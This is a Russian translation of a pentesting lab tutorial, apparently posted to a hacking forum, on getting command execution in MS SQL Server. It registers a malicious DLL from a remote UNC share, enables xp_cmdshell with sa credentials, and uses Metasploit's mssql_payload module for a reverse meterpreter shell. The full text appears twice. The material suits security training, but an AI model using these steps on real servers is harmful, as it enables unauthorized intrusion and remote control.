Расширенные хранимые процедуры - это файлы DLL, на которые SQL Server ссылается путем создания расширенной хранимой процедуры, которая затем ссылается на функции или процедуры в этой DLL. Библиотеки DLL, стоящие за расширенными хранимыми процедурами, обычно создаются на языке более высокого уровня, таком как C или C++. Расширенные хранимые процедуры выполняются внутри SQL Server, что означает, что код выполняется в пространстве памяти SQL Server. Таким образом, DLL может иметь расширение любого типа и загружаться по пути UNC или через Webdav.
Использование расширенных хранимых процедур с помощью PowerupSQL
Создание DLL для добавления в базу данных SQL
Import-Module .\Powerupsql.ps1
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
С помощью Powerupsql мы создали файл dll на нашем локальном компьютере (Windows 10).
Регистрация dll из нашей системы
Чтобы создать или зарегистрировать расширенную хранимую процедуру, логин, который пользователь использует для входа в базу данных, должен быть членом фиксированной административной серверной роли.
Обычно расширенная хранимая процедура создается с именем, начинающимся с xp_ или sp_, чтобы ядро базы данных автоматически искало объект в базе данных master, если в базе данных пользователя не было объекта с таким именем.
Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "sp_addextendedproc 'xp_calc', '\\192.168.1.145\fileshare\xp_calc.dll'"
Список существующих расширенных хранимых процедур
Get-SQLStoredProcedureXP -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
На приведенном ниже изображении показано имя базы данных "master", из которого завершается процесс сохранения. Кроме того, команда выдала Type_desc, имя, текст.
Расширенные хранимые процедуры всегда создаются в базе данных master, но на них можно ссылаться из любой базы данных.
Выполнение хранимых процедур
Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "select @@version" -Verbose
Включение оболочки XP_CMD
По умолчанию XPCmdShell отключен, как показано на изображении.
С привилегированной учетной записью злоумышленник создает новую хранимую процедуру и пытается включить xpcmdshell с помощью следующей команды.
Get-SQLQuery -UserName sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')" -Verbose
XP_CMD удаленное выполнение кода оболочки
После включения xpcmdshell мы можем использовать Metasploit для выполнения следующего модуля, чтобы получить реверс оболочку.
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit
Эксплойт не ограничивается простым включением командной оболочки XP. Затем он запускает серию команд, которые могут помочь нам получить оболочку meterpreter на целевой машине, как показано на изображении ниже.
Узнайте больше о XPCmdshell здесь https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp_cmdshell/ .
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssq...nd-execution-with-extended-stored-procedures/
Использование расширенных хранимых процедур с помощью PowerupSQL
Создание DLL для добавления в базу данных SQL
Import-Module .\Powerupsql.ps1
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
С помощью Powerupsql мы создали файл dll на нашем локальном компьютере (Windows 10).
Регистрация dll из нашей системы
Чтобы создать или зарегистрировать расширенную хранимую процедуру, логин, который пользователь использует для входа в базу данных, должен быть членом фиксированной административной серверной роли.
Обычно расширенная хранимая процедура создается с именем, начинающимся с xp_ или sp_, чтобы ядро базы данных автоматически искало объект в базе данных master, если в базе данных пользователя не было объекта с таким именем.
Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "sp_addextendedproc 'xp_calc', '\\192.168.1.145\fileshare\xp_calc.dll'"
Список существующих расширенных хранимых процедур
Get-SQLStoredProcedureXP -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose
На приведенном ниже изображении показано имя базы данных "master", из которого завершается процесс сохранения. Кроме того, команда выдала Type_desc, имя, текст.
Расширенные хранимые процедуры всегда создаются в базе данных master, но на них можно ссылаться из любой базы данных.
Выполнение хранимых процедур
Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "select @@version" -Verbose
Включение оболочки XP_CMD
По умолчанию XPCmdShell отключен, как показано на изображении.
С привилегированной учетной записью злоумышленник создает новую хранимую процедуру и пытается включить xpcmdshell с помощью следующей команды.
Get-SQLQuery -UserName sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')" -Verbose
XP_CMD удаленное выполнение кода оболочки
После включения xpcmdshell мы можем использовать Metasploit для выполнения следующего модуля, чтобы получить реверс оболочку.
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit
Эксплойт не ограничивается простым включением командной оболочки XP. Затем он запускает серию команд, которые могут помочь нам получить оболочку meterpreter на целевой машине, как показано на изображении ниже.
Узнайте больше о XPCmdshell здесь https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp_cmdshell/ .
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssq...nd-execution-with-extended-stored-procedures/